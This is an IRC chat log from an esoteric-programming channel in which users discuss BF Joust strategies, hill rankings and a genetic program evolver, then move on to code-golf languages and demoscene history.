05:12:53 <myndzi> there's only one above me?
05:13:06 <quintopia> 1st is patashu_rushpolarity, and 2nd is nescience_shade
05:13:15 <myndzi> what link are you looking at
05:13:24 <Lymia> ....?
05:13:25 <myndzi> i'm looking here -> http://codu.org/eso/bfjoust/report.txt
05:13:27 <quintopia> a report i generated myself on my own machine
05:13:32 <myndzi> oh
05:13:34 <myndzi> well i'm nescience too
05:13:35 <myndzi> :)
05:13:37 <quintopia> from the files on the hill at present
05:13:42 <myndzi> and patashu's is just mine but reversed
05:13:42 <quintopia> well then you are in second!
05:13:43 <myndzi> so!
05:13:49 <quintopia> reversed?
05:13:55 <quintopia> weird
05:13:55 <myndzi> +s for -s and vice versa
05:13:57 <myndzi> lol
05:14:04 <myndzi> he kept submitting "polar" opposites of existing entries
05:14:16 <myndzi> actually i don't know if i wrote 'rush', maybe rushpolarity is different from slowrush
05:14:20 <quintopia> interesting that he beat you tho
05:14:47 <myndzi> ah, it is different
05:14:59 <myndzi> well, polarity shouldn't matter anymore
05:15:04 <myndzi> the program tries programs both ways
05:15:08 <myndzi> against all starting positions
05:15:09 <myndzi> last i remember
05:15:15 <myndzi> so every combination and one simple alteration
05:15:18 <Lymia> !bfjoust cirno (>+)*10([-]+>)*20
05:15:22 <Lymia> myndzi, so.
05:15:22 <EgoBot> Score for Lymia_cirno: 10.5
05:15:23 <myndzi> rushpolarity does look different from slowrush
05:15:24 <quintopia> that's what i was gonna say
05:15:29 <myndzi> i don't remember if i wrote rush though or not haha, it's not on there anymore
05:15:30 <Lymia> Was it submitted because of that person?
05:15:47 <myndzi> most of the entries took on the same appearance after a while
05:15:56 <myndzi> and really to win you just rearranged until you got wins
05:15:59 <Lymia> !bfjoust cirno (>+>-)*5([-]+>[+]->)*5
05:16:00 <myndzi> then someone else did the same
05:16:02 <myndzi> and it was circular
05:16:06 <Lymia> Ah.
05:16:15 <Lymia> !bfjoust cirno (>+>-)*5([-]+>[+]->)*10
05:16:17 <myndzi> i'm not surprised defend7 is on top, because i don't think any of the entries are new
05:16:18 <myndzi> haha
05:16:28 <EgoBot> Score for Lymia_cirno:
05:16:29 <myndzi> though defend had a unique strategy
05:16:36 <myndzi> compared to the rest of the hill at the time i remember playing it
05:16:39 <Lymia> myndzi, it tried to make rushes fall off the edge, no?
05:16:51 <myndzi> the original one basically sat on its own flag
05:16:55 <myndzi> and decreased it repeatedly
05:16:59 <myndzi> so that it couldn't be put to 0 in one turn
05:17:06 <myndzi> something like that anyway
05:17:12 <myndzi> and then it got more complex
05:17:24 <myndzi> like, in the later ones he tries to detect the speed of decrementing of whatever is attacking
05:17:29 <myndzi> so as to optimally defend against it
05:17:40 <quintopia> i looked at 7
05:17:45 <EgoBot> Score for Lymia_cirno: 0.0
05:17:59 <myndzi> he used a tripwire on the original one, and people began 'jumping' over the first thing they encountered instead of zeroing it
05:17:59 <quintopia> it's not that intelligent as to how to increase its own
05:18:04 <myndzi> that kind of thing went back and forth for a while
05:18:10 <quintopia> it just does (+)*128 every now and then
05:18:22 <myndzi> yeah, it probably wasn't worth the effort of what i mentioned
05:18:22 <quintopia> while going through the board and zeroing everything else
05:18:25 <myndzi> not reliable enough
05:18:41 <myndzi> anyway, he got the constants right for the current hill makeup
05:18:48 <myndzi> and it probably works well against simple programs too
05:18:48 <Lymia> !bfjoust cirno [](+)*128(>+>-)*5([-]+>[+]->)*10
05:19:01 <myndzi> but all the defend ones could be countered fairly simply if you did it specifically against them
05:19:04 <Lymia> myndzi, so, optimize until everything else drops?
05:19:06 <myndzi> wiggle wound up being quite an interesting program in how it worked
05:19:11 <EgoBot> Score for Lymia_cirno: 5.6
05:19:11 <myndzi> haha basically that's how it went
05:19:15 <myndzi> not as robust as like, corewars
05:19:22 <Lymia> Heh.
05:19:24 <Lymia> Not as bad as FYB.
05:19:26 <myndzi> if you take the best few programs
05:19:30 <myndzi> you could make any of them be on top
05:19:46 <myndzi> so i guess a better gauge of "goodness" is if it can stay on against a wide variety
05:19:49 <quintopia> so you think that there can never be a tomcat in bfj? it'll always be people building programs to specifically counter other programs and no one will ever be on top?
05:19:53 <myndzi> which is why spam annoys me
05:20:01 <quintopia> maybe they should get rid of the hill idea
05:20:06 <myndzi> well, you don't exactly "specifically counter"
05:20:10 <quintopia> all programs survive even if they suck
05:20:17 <myndzi> but the way to make your program win is just to adjust the constants a little
05:20:25 <myndzi> so that you get a set that wins against all the bots on the hill
05:20:36 <myndzi> then new ones come on and you start to lose if they are good
05:20:44 <Lymia> And repeat?
05:20:46 <myndzi> and usually whoever puts it up on the hill is doing the same thing - optimizing it to win
05:20:49 <quintopia> so it'd be better without the hill right?
05:20:57 <myndzi> i don't know, what would you use in its place
05:21:04 <myndzi> like i said, it seems that the programs mostly took the same shape
05:21:13 <myndzi> i think defend is an exception, and probably also wiggle
05:21:17 <myndzi> it's been so long i don't remember well
05:21:28 <myndzi> i guess what i'm saying is that the logic of the program doesn't play an important enough role
05:21:35 <myndzi> you can't get a program that will always win by using only better logic
05:21:38 <quintopia> it's too simple a game
05:21:39 <myndzi> the game is too simplistic
05:21:41 <myndzi> yeah
05:21:51 <Lymia> Hmm...
05:21:52 <Lymia> I wonder.
05:21:55 <quintopia> so you'd rather corewars
05:21:56 <Lymia> Corewars has the SPL instruction.
05:21:58 <myndzi> so basically, if you keep this up lymia
05:22:04 <myndzi> you're just gonna spam everything off
05:22:04 <Lymia> How would something similar work on BF Joust.
05:22:08 <myndzi> and it won't even be partially interesting
05:22:08 <nrkn> Anybody know of a high-level esolang with an emphasis on terseness? ie. get a lot done in very little chars, sorta opposite of brainfuck, get a little done in a shitload of chars. Also hi :) Just asking because I'm writing one
05:22:17 <myndzi> because you'll just wind up with a bunch of extremely similar programs each that is slightly different
05:22:19 <quintopia> golfscript
05:22:27 <Lymia> nrkn, Perl.
05:22:34 <myndzi> eventually you'll hit a group that trumps the top ones and that "species" will take over
05:22:37 <myndzi> that's what i think will happen anyway
05:22:42 <Lymia> myndzi, eh.
05:22:49 <quintopia> what did SPL do again?
05:22:53 <Lymia> I wrote an evolover because it seemed intresting.
05:22:55 <Lymia> quintopia, make a new 'thread'
05:22:56 <myndzi> splits a process off
05:23:03 <quintopia> ah right
05:23:07 <Lymia> It would alternate through the threads every tick.
05:23:07 <myndzi> Lymia: yeah, i'm just suggesting you stop spamming the hill with the results
05:23:11 <quintopia> right
05:23:14 <myndzi> at least when they are very similar variants
05:23:14 <Lymia> myndzi, will do.
05:23:15 <Lymia> =)
05:23:21 <quintopia> i think fyb should have gone that rout
05:23:21 <myndzi> thank you, that is kind :)
05:23:22 <quintopia> e
05:23:26 <nrkn> Lymia: Haha yeah perl, mine is terser :)
05:23:31 <nrkn> Looking at golfscript now
05:23:36 <Lymia> quintopia, FYB had a big screwup.
05:23:45 <quintopia> the @@ thing?
05:23:48 <Lymia> Yeah.
05:23:55 <Lymia> It's worse than that.
05:24:04 <Lymia> If you eliminate each ! in the enemy code.
05:24:06 <Lymia> They're sitting ducks.
05:24:11 <Lymia> Let that sink in for a moment.
05:24:13 <Sgeo> c@@ thing?
05:24:34 <Lymia> You can directly target a bot agienst another.
05:24:37 <Lymia> And expect very good results.
05:26:07 <quintopia> so did you ever read that paper where they created a language and a self-replicating program and put it in a limited memory buffer, then added mutation, and let the programs copying themselves serve to handle natural selection (implicitly selecting for space efficiency and maintaining control of the cpu)
05:26:10 <Lymia> myndzi, I guess "once every 100 generations" would be spam?
05:26:11 <Lymia> =p
05:26:16 <nrkn> OK golfscript works quite a lot like mine except it's still a lot more verbose. Aiming for terseness/does a lot as primary feature. But I'm going to play with it a bit more, probs a lot I can steal
05:26:21 -!- sftp has joined.
05:26:43 <Lymia> quintopia, sounds kinda like CoreWars.
05:27:00 <quintopia> so you didn't read the paper eh
05:27:01 <quintopia> you should
05:27:07 <Lymia> Except it's an orgy.
05:27:11 <quintopia> i think they language they used would make a great battle language
05:27:11 <myndzi> Lymia: eh, i don't know. with human written code you can tell when it's a different intent
05:27:16 <myndzi> maybe you should check edit distances :P
05:27:26 <Lymia> myndzi, heh.
05:27:46 <Lymia> I don't expect the general method to change once one has set in, at least without massive amounts of time.
05:27:57 <Lymia> I expect this general method to be a rush
05:28:00 <myndzi> that's kind of what i think too, which is why i said something about it
05:28:11 <myndzi> but you know, it's not like anyone plays the hill, i just thought it would be unfortunate to see it become all one t hing
05:28:46 <Lymia> [>(-)*10<]
05:28:48 <Lymia> Eh?
05:28:51 <Lymia> What the crap is this?
05:28:52 <quintopia> myndzi: how about a random tournament instead of the hill. each new program plays a random subset of ALL programs ever submitted, and an average score for each program is maintained over time?
05:28:53 <Lymia> `-`
05:28:58 <Lymia> No attack.
05:29:04 <Lymia> Yet it has something to the effect of decoy making?
05:29:44 <myndzi> i'm not really sure
05:29:53 <quintopia> myndzi: that way you cannot target specific programs and try to beat them, because you don't know who you'll be playing
05:30:01 <HackEgo> No output.
05:30:35 <Lymia> myndzi, that would have the effect of making a decoy, no?
05:30:36 <myndzi> is that a program on the current hill?
05:30:36 <Lymia> Well...
05:30:45 <Lymia> If the initial cell wasn't 0.
05:30:52 <Lymia> myndzi, it's not.
05:31:00 <Lymia> I killed off the last batch.
05:31:07 <myndzi> no, i mean, that code
05:31:08 <myndzi> where's the code from
05:31:17 <myndzi> your program?
05:31:20 <Lymia> myndzi, yeah.
05:31:25 <myndzi> and it's doing good?
05:31:27 <Lymia> Dunno.
05:31:30 <myndzi> lol
05:31:39 <myndzi> well yeah, it wouldn't win unless the other program ran off the edge
05:31:48 <Lymia> It's optimal among the programs.
05:31:51 <myndzi> your flag starts at 128, so it wouldn't do anything really?
05:31:56 <myndzi> which actually makes sense
05:32:01 <myndzi> since you don't lose if you run out of code
05:32:02 <myndzi> i think
05:32:04 <myndzi> you just don't do anything
05:32:13 <myndzi> the other programs are just killing themselves
05:32:13 <myndzi> lol.
05:32:53 <myndzi> quintopia: i don't like the random thing because really, it's just gonna noisy up the results; maybe just make an infinite hill
05:33:10 <myndzi> i'd think that would have the effect at least of logic triumphing over specifics
05:33:11 <quintopia> myndzi: that is intractible
05:33:15 <myndzi> 'cause it could have lots of variants ;P
05:33:27 <myndzi> true enough, but random sampling? not everyone's gonna get something good lol
05:33:33 <Lymia> myndzi.
05:33:45 <Lymia> Main issue I see with my current code is that only one strain is in the system at one time.
05:33:54 <Lymia> I have no clue how to fix this.
05:33:55 <Lymia> >.>
05:34:01 * myndzi shrugs
05:34:10 <myndzi> i probably don't even belong in this channel ;)
05:34:15 <Lymia> =p
05:34:18 <myndzi> in fact i started idling because i was here from bf joust haha
05:34:24 <Lymia> =p =p
05:34:25 <myndzi> which i learned about from impomatic in #corewars
05:34:27 <quintopia> myndzi: over time it'll all even out though
05:34:43 <myndzi> yeah, after each program has played almost everything, which is basically "infinite hill" anyway
05:34:44 <myndzi> :)
05:34:58 <quintopia> no, each program will never play everything :P
05:35:11 <myndzi> given a long enough time, it will!
05:35:20 <quintopia> they only get an opportunity to play new programs after they are first entered
05:35:45 <myndzi> so if you submit a program after a good one you don't have to play it? o_O
05:36:02 <quintopia> well...you never know
05:36:17 <quintopia> but it will over time get higher scores than you anyway because it's better
05:36:31 * myndzi shrugs
05:36:49 <myndzi> i forget what the length range on bf joust is
05:36:57 <myndzi> 10 to 40 or something?
05:37:02 <quintopia> 10 to 30
05:37:05 <quintopia> all of them
05:37:13 -!- nrkn has quit (Quit: Page closed).
05:37:14 <myndzi> ok, so that's 44 runs per pair
05:37:25 <myndzi> corewars hills run way more than that, and isn't there an infinite corewars hill?
05:37:28 <quintopia> i'm getting 42
05:37:36 <myndzi> you're right
05:37:46 <myndzi> i doubled my double
05:37:46 <myndzi> :P
05:38:14 <quintopia> but yeah
05:38:26 <myndzi> i guess the biggest difference is that corewars players uhh.. spend a lot of time on one submission and enter it
05:38:26 <quintopia> it takes like 3 or 4 seconds already to run the current hill size
05:38:30 <myndzi> rather than submit like 20 variants
05:38:30 <myndzi> ;)
05:38:36 <quintopia> which means...16 seconds if you double the hill size
05:38:59 <quintopia> is there still cw activity these days?
05:39:04 <quintopia> i haven't checked in a while
05:39:10 <quintopia> last i heard, tomcat was on top
05:39:13 <myndzi> i did see a couple new guys who got into it
05:39:23 <myndzi> it's a land of diminishing returns
05:39:31 <myndzi> i like the game but doing anything fun doesn't really net real results
05:39:45 <myndzi> it seems the only way to do that is to do boring things
05:39:47 <myndzi> haha
05:39:57 <myndzi> and i have little enough motivation to spend that it's infeasible for me to really participate ;)
05:39:59 <Lymia> myndzi, hmm...
05:40:14 <Lymia> One thing I could do is to completely scamble a program every once in a while.
05:40:27 <Lymia> Given that there's a small chance that it comes out different, but still workable.
05:40:41 <myndzi> i don't really know, i have little experience with evolvers
05:40:47 <myndzi> the code is so dependent on position though
05:40:58 <myndzi> completely scrambling a program would certainly ruin it
05:41:06 <myndzi> besides brackets not necessarily matching up etc.
05:41:14 <Lymia> Scrambling to mean means running the mutation routine on it a few times.
05:41:15 <myndzi> i don't know how i would approach this
05:41:20 <Lymia> to me*
05:41:24 <myndzi> ah
05:41:32 <Lymia> Basicly scrambling it enough to maybe get it out of a local minima.
05:41:33 <myndzi> well don't most genetic algorithms do something like
05:41:34 <Lymia> With enough time that is.
05:41:41 <Lymia> local maxima*
05:41:48 <myndzi> populate the pool with mutations of the best N, and also some random ones?
05:41:51 <Vorpal> <elliott> Please tell me I don't have to saturate or something. <-- iirc you do for input!
05:42:10 <Lymia> myndzi, that's a horrible idea.
05:42:21 <myndzi> why so?
05:42:39 <myndzi> it starts out randomly yeah?+
05:42:42 <Lymia> You know how the sim always seems to start out, right?
05:42:47 <myndzi> so you just keep throwing randoms into it?
05:43:01 <myndzi> on the off chance you get something worthwhile and fresh
05:43:02 <myndzi> i dunno
05:43:20 <myndzi> which sim
05:43:22 <Lymia> Phase 1) Which one manages to live the longest before killing itself.
05:43:37 <Lymia> Phase 2) Programs with [] or something similar sticking it in one place
05:43:44 -!- p_q has joined.
05:43:54 <Lymia> Phase 3) Programs getting better and better at rushing the enemy flag
05:44:09 <Lymia> (And setting decoys I guess)
05:44:16 <myndzi> makes sense enough
05:44:23 <myndzi> i don't know how you would evolve something like defend, haha
05:44:41 <myndzi> so then, keep running from phase 1 and when you get something phase 3-worthy, mix em up
05:44:45 <Lymia> A basic defence?
05:44:57 <Lymia> [+] on your home cell
05:45:01 <myndzi> no, i mean the Defend series of programs
05:45:07 <myndzi> which behave in some pretty specific ways
05:45:18 <Lymia> If that is set up, and works, it might start expanding on the idea...
05:45:23 <Lymia> Then die out because it beats all the rushers.
05:45:45 <myndzi> you're the one writing an evolver, not me ;)
05:45:47 <myndzi> i'll take your word for it
05:45:56 <Lymia> Eh...
05:46:04 <Lymia> It might work better with a larger hill.
05:46:11 <Lymia> But I'm battling everything agienst everthing.
05:46:18 <Lymia> That's O(n^2) to hill size.
05:46:19 <Lymia> :s
05:46:28 <myndzi> nobody ever claimed evolution was fast :)
05:46:37 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
05:46:45 <Lymia> Well, evolotion is counted in generations.
05:46:46 <Lymia> :)
05:48:48 <myndzi> you might try evolving simple units and concatenating them, actually
05:48:56 <myndzi> or, defining simple units
05:49:06 <Lymia> 5376 battles per generation.
05:49:06 <Lymia> :s
05:49:14 <Lymia> myndzi, in Brainfuck?
05:49:19 <Lymia> Would work better in FYB or CoreWars.
05:49:29 <myndzi> yes, in brainfuck
05:49:38 <myndzi> the programs i wrote tended to have separate distinct sections
05:49:39 <Lymia> The modules wouldn't fit together.
05:49:45 <Lymia> myndzi, well.
05:49:50 <Lymia> Depends on how you do it guess.
05:49:54 <myndzi> sometimes looping through them all etc.
05:50:04 <Lymia> If you define it as three seperate program segments [start][middle][end] or something, it could work.
05:50:08 <myndzi> but i mean things like [-] or >+*(10) and whatever
05:50:20 <Lymia> myndzi, those ould be made pesudoopcodes.
05:50:20 <Lymia> =p
05:50:30 <Lymia> [-] and [+] in particular.
05:50:38 * myndzi shrugs
05:50:51 <myndzi> i just mean that there are some simple strategies that work against simple opponents
05:50:57 <myndzi> and they can be incorporated into more complex strategies
05:51:31 <myndzi> also i am thinking about the interpreter and if it ever wound up implementing my solution for the * loops
05:51:36 <myndzi> so that it didn't have to expand things
05:51:44 <Lymia> Well.
05:51:44 <myndzi> maybe there are some slow programs in your hill
05:51:54 <Lymia> 15 times longer time per generation.
05:51:56 <myndzi> i sorta forget how it all worked anymore
05:51:56 -!- p_q has changed nick to poiuy_qwert.
05:52:00 <Lymia> I'll leave it on for a long time though.
05:52:02 <Lymia> Hopefully this changes things.
05:52:17 <myndzi> but speeding up the interpreter would probably be a good idea for you if you want to run lots of battles
05:52:34 <myndzi> can you tell if it expands all the programs in memory before running them?
05:53:25 -!- Mathnerd314 has quit (Remote host closed the connection).
05:53:42 <Lymia> Yeah.
05:53:49 <Lymia> Well.
05:53:52 <myndzi> ah, never got implemented then
05:53:52 <Lymia> If it uses {}
05:53:53 <Lymia> And mine dosn't.
05:54:02 <myndzi> what about the ones you are fighting against
05:54:09 <myndzi> or you are just running evolved vs evolved right now
05:54:10 <Lymia> Those do.
05:54:20 <myndzi> so i guess it's a moot point
05:54:32 <myndzi> you don't really need to evolve ({}) anyway
05:54:32 <Lymia> egojoust is a C program, compiled to native code
05:54:43 <Lymia> My evolver is a Scala program, compiled to Java bytecode.
05:54:47 <Lymia> Figure out how that works.
05:54:50 <Lymia> Yeah.
05:54:54 <myndzi> heh :P
05:55:29 <myndzi> obviously both should be rewritten in brainfuck
05:55:33 <myndzi> and compiled to the game of life
05:55:36 <Lymia> ...
05:55:41 <Lymia> I just had an amusing idea.
05:56:25 <Lymia> Start the evolver... with the hill programs as the starting state.
05:57:36 <myndzi> that's only a good idea if one of my programs evolves to be the ruler
05:57:36 <myndzi> ;p
05:57:42 <Lymia> =p
05:58:38 <Lymia> private val numPrograms = 32
05:58:45 <Lymia> I should make this 1024 and have it be real life evolotion speed.
05:58:52 <Lymia> I'm going to bed.
05:58:59 <Lymia> Hopefully this isn't a completely bad idea.
05:59:29 <myndzi> have fun
05:59:53 <Lymia> By my cacluations, each generation should now be 15 times or so longer than before.
06:00:00 <Lymia> Hopefully I didn't underestimate.
06:02:54 <Lymia> Oh hey
06:03:01 <Lymia> [] popped up in /one generation/
06:03:04 <Lymia> Looks like it was a good idea.
06:04:38 -!- azaq23 has quit (Quit: Leaving.).
06:06:27 <quintopia> remind me folks
06:06:38 <quintopia> what is the return value of var*=2?
06:07:35 -!- asiekierka has joined.
06:19:27 <Lymia> quintopia, void.
06:20:11 <quintopia> nah.
06:20:39 <Lymia> It's identical in meaning to var = var * 2
06:21:27 <Lymia> It seems to act exactly identical to var = var * 2
06:21:32 <Lymia> Therefore, it should return var * 2
06:21:52 <quintopia> kthx
06:22:34 -!- TLUL|afk has quit (Quit: *disappears in a puff of orange smoke*).
06:33:51 <Lymia> !bfjoust i_would_rather_kill_myself []<
06:34:08 <quintopia> lol
06:34:13 <EgoBot> Score for Lymia_i_would_rather_kill_myself: 5.6
06:34:27 <quintopia> you beat tripwire! congrats!
06:34:36 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
06:35:24 <quintopia> !bfjoust //_> <
06:35:26 <EgoBot> Score for quintopia_____: 0.0
06:35:40 <quintopia> that's not the name i gave!
06:36:11 -!- poiuy_qwert has joined.
06:41:52 -!- asiekierka has quit (Ping timeout: 240 seconds).
06:43:30 -!- nrkn has joined.
06:45:04 <nrkn> So I looked at golfscript, what other langs are good for golf? Making my own, some good stuff in golfscript but I feel can be improved upon for terseness. Au fait with lisp, perl etc., still too verbose. Also trying to do something that's reasonably mnemonic, ie short but not toooo cryptic
06:47:46 <fizzie> There's goruby, but that's I guess mostly just a identifier-shortened Ruby.
06:47:47 <quintopia> nrkn: take a look a j
06:47:56 <fizzie> And of course J, yes.
06:48:25 <nrkn> J seems like a terrible thing to google haha. I'll try esolang first?
06:48:33 <fizzie> And FlogScript.
06:48:36 -!- oerjan has joined.
06:48:38 <nrkn> And goruby. Know a bit of Ruby
06:48:50 <nrkn> OK FlogScript, will look at
06:48:51 <nrkn> Brb
06:50:06 <quintopia> z80 also seems to result in small bytecodes for a lot of things :P
06:51:07 <fizzie> http://golf.shinh.org/lranking.rb may give some sort of a golfability indication, though I think it's more about language popularity.
06:51:36 -!- asiekierka has joined.
06:52:06 <fizzie> Would be more useful if it were sorted by the "Avg." column.
06:52:47 <quintopia> would it
06:52:59 <quintopia> i feel like people use the best language for each problem
06:53:06 <quintopia> and don't use it if it's gonna be long
06:53:50 <fizzie> Well, or alternatively choose only moderately popular languages and take the set of problems solved in all of them.
06:54:49 <quintopia> some people just always use the same language tho
06:55:01 <fizzie> I always just use Befunge. :p
06:55:29 <nrkn> Yeah if it's a matter of how many chars you use measured in bytes you have so many operators available where in unicode it's only one byte, provided you use the letter chars (including accented etc) as vars, and then mapping the most common symbols to operators
06:55:34 <quintopia> how is the size of befunge determined? non-whitespace?
06:55:51 <nrkn> But it has to be reasonably high level to get a lot done, definitely not the case with brainfuck etc.
06:56:01 <fizzie> At least at anagolf it's determined like the others, which means it's a very bad idea to leave whitespace at the beginning of lines.
06:56:08 <Lymia> :s
06:56:14 <Lymia> Generation 12 running.
06:56:17 <quintopia> oh so all whitespace is significant?
06:56:19 <Lymia> God a hill size of 32 is slow.
06:56:26 <quintopia> i thought you were asleep lymia
06:56:32 <Lymia> I'm supposed to be.
06:56:39 <fizzie> quintopia: All bytes count, even the terminating newline if you sillily leave one in.
06:56:44 <quintopia> huh
06:56:45 <nrkn> I don't use whitespace at all except that newlines are equiv to statement terminators, also semicolons, all whitespace ignored except in string literals
06:56:54 <quintopia> Lymia: find someone to cuddle you to sleep eh?
06:56:58 <Lymia> Nah.
06:57:04 -!- zzo38 has joined.
06:57:10 <quintopia> k
06:57:14 <quintopia> hello zzo38
06:57:16 <Lymia> I'm not even in college yet. Extrapoliate from that why I'm supposed to be asleep.
06:57:16 <Lymia> =p
06:57:20 <zzo38> Have you ever heard of Purple Motion of Future Crew?
06:57:26 <quintopia> oh. you're so young
06:57:31 <quintopia> no
06:57:34 <quintopia> is that a music group
06:57:56 <zzo38> Purple Motion is a single person who is part of the group Future Crew.
06:58:10 <quintopia> ahm
06:58:15 <quintopia> what does the group do
06:58:27 <zzo38> Music, mostly.
06:58:35 <zzo38> Using .MOD and .S3M formats, mostly.
06:58:54 <fizzie> I don't think Future Crew does really anything nowadays.
06:59:11 -!- asiekierka has quit (Ping timeout: 260 seconds).
06:59:17 <fizzie> They made Second Reality, it's pretty famous.
07:00:19 <quintopia> oh
07:00:29 <quintopia> my favorite formats!
07:00:31 <quintopia> after .it
07:00:35 <quintopia> :P
07:00:57 <fizzie> They also made Scream Tracker itself.
07:01:11 <quintopia> hmm
07:01:21 <fizzie> It's a demoscene group. Well, "was".
07:01:32 <zzo38> Yes I know they made Scream Tracker.
07:01:48 <fizzie> I was just trying to think about what they'd be known for.
07:02:28 <quintopia> i'
07:02:34 <quintopia> i've not heard of scream tracker
07:02:44 <quintopia> demoscene implies windows
07:02:48 <quintopia> was it a windows tracker
07:03:03 <nrkn> I guess my goals are a) terse, b) high level, c) mnemonic. I mean, you could just look at the classes of problems that are most commonly solved and map value types and operators to unicode chars according to most used, but it would be really hard to remember how to do anything, so the mnemonic part is important
07:03:03 <fizzie> This was in 1993; it was for DOS.
07:03:09 <quintopia> oh
07:03:10 <quintopia> wow
07:03:14 <quintopia> no wonder :P
07:03:20 <fizzie> And it's the tracker .s3m is the format of.
07:03:25 <zzo38> Yes I have heard of the demo
07:03:27 <fizzie> (And .stm.)
07:03:45 <quintopia> yeah i don't really follow ancient history
07:03:58 <fizzie> You're making me feel old, and I'm not even all that old.
07:04:09 <fizzie> Demoscene doesn't imply Windows anyway; we just took a look, and pouet has something like six or seven Solaris demos.
07:04:15 <zzo38> Demoscene is not always for Windows (or necessarily any other system). These demos have been written for many different systems, including NES and Pokemon Mini.
07:05:16 <nrkn> Interesting how much demoscene stuff in the last (x) years has relied on OS API calls though
07:05:17 <pikhq> Isn't the demoscene *older* than Windows?
07:05:32 <quintopia> fizzie: how old?
07:05:34 <pikhq> nrkn: Just certain forms of demos.
07:05:48 <pikhq> nrkn: You can still find stuff like, say, C64 demos.
07:06:17 <quintopia> zzo38: it pretty much implies windows nowadays tho. i had thought we were talking about a modern group
07:06:21 <zzo38> Demos are still written for various old systems.
07:06:41 <quintopia> not the bleeding edge fancy ones
07:06:43 <fizzie> pikhq: I don't think there's an exact "starting date" for demoscene; Windows 1 seems to be from 1985, I'd say demoscene is mostly from around the same age.
07:06:54 <fizzie> quintopia: Uh, err, 27, I think.
07:07:05 <nrkn> Yeah is true. But uh what was the nice Quake, Q2ish one done in 64k? But with windows apis. kkreiger or whatevs
07:07:12 <nrkn> Or was it 128
07:07:18 <zzo38> quintopia: No, even today, there are often a lot of other demos for other systems, including ones which are no longer in production (and sometimes (but rarely) non-existent systems).
07:07:28 <quintopia> fizzie: so you were 10 years old in 93? yeah, i'm sure that was kinda before your time too :P
07:07:30 <pikhq> quintopia: Perhaps some of the stuff *you* notice is for Windows. Probably because a lot of that is positively *stunning*.
07:07:50 <fizzie> nrkn: .kkrieger was 96k, which is a strange in-between size.
07:07:51 <quintopia> pikhq: it's the stuff that gets high traffic youtube vids
07:08:00 <quintopia> it's the stuff that wins prizes at demoscene cons
07:08:24 <pikhq> quintopia: You do realise that demoscene cons tend to be categorised by system, right? :P
07:08:39 <zzo38> quintopia: Maybe those two things are true. But demoscene is still done with many other systems too.
07:08:40 <quintopia> oh they don't have a best in show? :P
07:09:01 <quintopia> also
07:09:04 <pikhq> Okay, I'd imagine they also have best in show, but the point still stands that there's demos done for a lot of systems.
07:09:06 <nrkn> fizzie: Yeah they had a cool procedural texturing thing around perlin noise if I remember correctly
07:09:07 <fizzie> quintopia: Well, 1993 perhaps a bit; but DOS demos definitely weren't "before my time", though; I don't think Windows was really a serious demo platform before '98 or so.
07:09:13 <quintopia> are there still demoscene cons? didn't they run out of money? :P
07:09:21 <pikhq> quintopia: Yes.
07:09:40 <nrkn> Man i haven't been on irc for years, this is great
07:09:53 <fizzie> nrkn: They've released the cool procedural texturing bit (werkkzeug) for everyone: http://www.theprodukkt.com/werkkzeug_3_te
07:10:08 <zzo38> (BytePusher is such a system that has no hardware implementation, only emulators exist)
07:10:26 <quintopia> someone should build a bytepusher
07:10:34 <fizzie> Assembly (from 1992 onwards) still gets organized, and every year people gripe about how it's all about gamers nowadays.
07:10:37 <quintopia> it would be so light and efficient
07:10:53 <pikhq> fizzie: Which is why it's now two different cons, one of which is for gamers. :P
07:11:02 <nrkn> fizzie: yeah I remember looking at that years ago but haven't for a while. carmac is big on procedural. why i'm aways impressed by his engines more than ones that look better but are hardcore manually scripted rather than procedural
07:11:26 <fizzie> pikhq: Yes, well, that's just "in theory"; there's still quite a lot of gamers in the "summer" event too.
07:11:45 <pikhq> Shame it's hard to get to most of those for me.
07:12:16 <pikhq> Damned Europe having all the *interesting* programmers.
07:12:23 <fizzie> Many other big ones are still going, I guess; at least Breakpoint, the Gathering, Evoke were organized in 2010.
07:12:29 <fizzie> And Altparty, of course.
07:12:36 <zzo38> wAMMA has sent a demo disk to Alex Papadimoulis in 2008; I looked at the files and most are DOS except one which is a .NES ROM file. In NTSC mode it executes invalid CPU instructions and crashes. In PAL mode it works.
07:12:40 <fizzie> Which is at least different.
07:12:43 <quintopia> also, i should really get a arduino(clone) and make cool shit. if only i had the willpower to get things done when i need to...
07:13:57 <fizzie> Admittedly the list of directories in http://www.scene.org/dir.php?dir=%2Fparties%2F2010/ is quite a lot shorter than in http://www.scene.org/dir.php?dir=%2Fparties%2F1996/
07:14:25 -!- augur has quit (Remote host closed the connection).
07:14:35 <quintopia> there is no breakpoint '11 yes?
07:14:41 <quintopia> no sponsors?
07:15:13 <fizzie> Yeah, I guess they decided not to continue.
07:16:12 <nrkn> going, you're all good quality, be back
07:17:18 <zzo38> If/when I make the new computer system (codenamed POWERXY), I might try to make a demoscene of it.
07:17:26 <fizzie> Assembly 2011 is going to be the 20th year for them, and it still has the same main organizers; wonder when they're going to get fed up. (A 20-year anniversary could be a "natural" point to stop, but they haven't at least said anything about it.)
07:17:47 -!- Sgeo has quit (Ping timeout: 240 seconds).
07:17:52 -!- augur has joined.
07:18:26 <fizzie> (The same people keep winning, too.)
07:18:40 <nrkn> fizzie: 20 years is almost nothing in history of asm tho :) sure there's life in that dog yet
07:18:43 <nrkn> seeya al anyways
07:18:44 <quintopia> they could hand it over to someone else at any time, and that's the kind of announcement you save for the event yes?
07:18:51 <quintopia> lata
07:18:55 <nrkn> *al
07:18:59 <nrkn> *argh all
07:19:13 -!- nrkn has quit (Quit: Page closed).
07:20:01 <quintopia> "FloatingPoint - demoparty on a boat!"
07:21:24 <fizzie> That sounds a bit... hazardous. :p
07:23:39 -!- augur has quit (Remote host closed the connection).
07:25:16 -!- augur has joined.
07:26:29 <quintopia> i should go to bed i think
07:26:43 <quintopia> not tired tho :/
07:34:34 -!- cheater- has quit (Ping timeout: 240 seconds).
07:35:40 -!- cheater- has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:09:17 -!- zzo38 has quit (Remote host closed the connection).
08:17:55 -!- Lymia_ has joined.
08:20:57 -!- Lymia has quit (Ping timeout: 240 seconds).
08:25:06 -!- impomatic has joined.
08:25:18 <impomatic> !bfjoust simple (>)*8(>[-])*21
08:25:22 <EgoBot> Score for impomatic_simple: 9.9
08:28:49 -!- Lymia__ has joined.
08:28:56 <impomatic> !bfjoust simple (>)*8(>[-])*21
08:28:58 <EgoBot> Score for impomatic_simple: 9.9
08:30:46 <impomatic> !bfjoust simple >
